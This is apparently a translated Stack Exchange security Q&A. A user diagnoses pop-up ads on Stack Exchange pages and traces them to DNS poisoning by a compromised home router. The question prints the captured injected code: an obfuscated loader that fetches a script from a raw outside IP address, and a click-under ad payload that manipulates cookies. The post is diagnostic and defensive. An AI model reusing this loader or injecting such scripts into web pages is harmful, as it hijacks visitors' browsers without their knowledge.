Stack Exchange 的 javascript 是恶意的

信息安全 恶意软件 http javascript
2021-08-17 18:49:36

最近,我发现了一个相当烦人的问题:我在任何 Stack Exchange 网站上的每一次首次点击都会创建一个广告弹出窗口。这发生在我的台式机、笔记本电脑、手机甚至虚拟机上。我断定这是 Stack Exchange 的新广告功能并在 meta.stackexchange 上抱怨......直到我发现我是唯一受此影响的人。

我不愿意相信我如此粗心地让病毒进入我的计算机(并且为了自称是我公司的“安全专家”),我继续调查根本原因。我观察到:

  1. 这仅影响 Stack Exchange 站点。
  2. 这可以在 4 种设备上重现:台式机、笔记本电脑、手机和虚拟机。
  3. 如果我浏览 https,则不会发生此问题。

这些让我认为这是一个网络问题:有人在 HTML 文档的某处注入了恶意 JavaScript,而 HTML 文档在 HTTP 上以明文形式传输。在大约 30 分钟的网络流量捕获和分析之后,我发现这部分代码位于任何 Stack Exchange 页面的底部:

        (function () {
        var ssl='https:'==document.location.protocol,
            s=document.getElementsByTagName('script')[0],
            qc=document.createElement('script');
            qc.async = true;
            qc.src = (ssl ? 'https://secure' : 'http://edge') + '.quantserve.com/quant.js';
            s.parentNode.insertBefore(qc, s);
            _qevents.push({ qacct: "p-c1rF4kxgLUzNc" });
                        var sc=document.createElement('script');
            sc.async=true;
            sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
            s.parentNode.insertBefore(sc, s);
            _comscore.push({ c1: "2", c2: "17440561" });
    })();

启动将恶意 JavaScript 加载到我的浏览器。

如果beacon.js通过 HTTPS 加载,它是一个很好的单行缩小 JavaScript。但如果它是通过 HTTP 加载的,则会添加第二行:

!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();

这是一种混淆的加载方​​式http://103.16.230.165/stats/XCQ67,其中包含:

function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;

现在,难怪我看到了广告。


问题是这一发现的含义。我在这里看到了一些可能性:

  1. 我的网络附近有人在嗅探 HTTP 数据包并向其中注入恶意内容。我应该尽可能将所有内容切换到 HTTPS (我从不在 HTTP 上输入凭据或信用卡号,但我应该更进一步)
  2. 我的华硕路由器被感染了。(一个明智的病毒作者会感染我访问的所有页面,而不仅仅是特定站点)
  3. 我的 Intranet 上有一个受感染的设备。(我关闭了所有设备并一次测试了一个设备,它仍然会发生,所以唯一的可能是路由器。)
  4. scorecardresearch.com使用地理广播来加速他们的网络。他们的主机服务器之一被感染。(这可以解释为什么不是每个人都看到它)
  5. scorecardresearch.com是恶意的。Stack Exchange 的服务器(或网络)不知何故被感染;Stack Exchange 从来没有打算包含scorecardresearch.com在他们的脚本中。

暂时我已经屏蔽了scorecardresearch.com

我的最佳猜测(4): 的一scorecardresearch.com台服务器被感染。然而(1)的后果是严重的。这也可以解释为什么不是每个人都受到影响。我如何进一步区分(1)和(4)?

有什么我错过了,或者应该做些什么来保护自己?

1个回答

感谢 Alexandar O'Mara 为我指明了正确的方向 - 这是一个小提示,但它让我到达了那里。

nslookup使用域运行并得到:

C:\Users\xxx>nslookup scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Name:    scorecardresearch.com
Address:  103.16.230.165

C:\Users\xxx>nslookup sb.scorecardresearch.com
Server:  router.asus.com
Address:  192.168.56.1

Non-authoritative answer:
Name:    e2799.e7.akamaiedge.net
Address:  23.198.112.87
Aliases:  sb.scorecardresearch.com
          sb.scorecardresearch.com.edgekey.net

请注意,返回的地址与托管恶意内容的地址完全相同。DNS 中毒

怎么可能?一定有人在附近的网络上宣传他们的假 DNS 服务器很开心。不,我重新检查了我的路由器设置并得到:

在此处输入图像描述

我注意到在我写问题的几个小时前,路由器上都启用了“VPN 服务器”和“从 WAN 访问管理员”功能。我在没有引起怀疑的情况下禁用了它们,认为我一定是启用了一段时间而忘记了它。现在我知道为什么了。

案件已结案(=

得到教训:

  1. 永远不要让路由器的管理面板从互联网访问。即使你有一个强密码,那里的机器人也会扫描网络并强行进入。
  2. DNS 中毒可用于在用户不知情的情况下将恶意内容注入 HTTP 流。(我很幸运这是一个广告,它是可观察的和明显的,而不是木马或其他一些有害内容)
  3. SSL 是防止 DNS 中毒的好方法。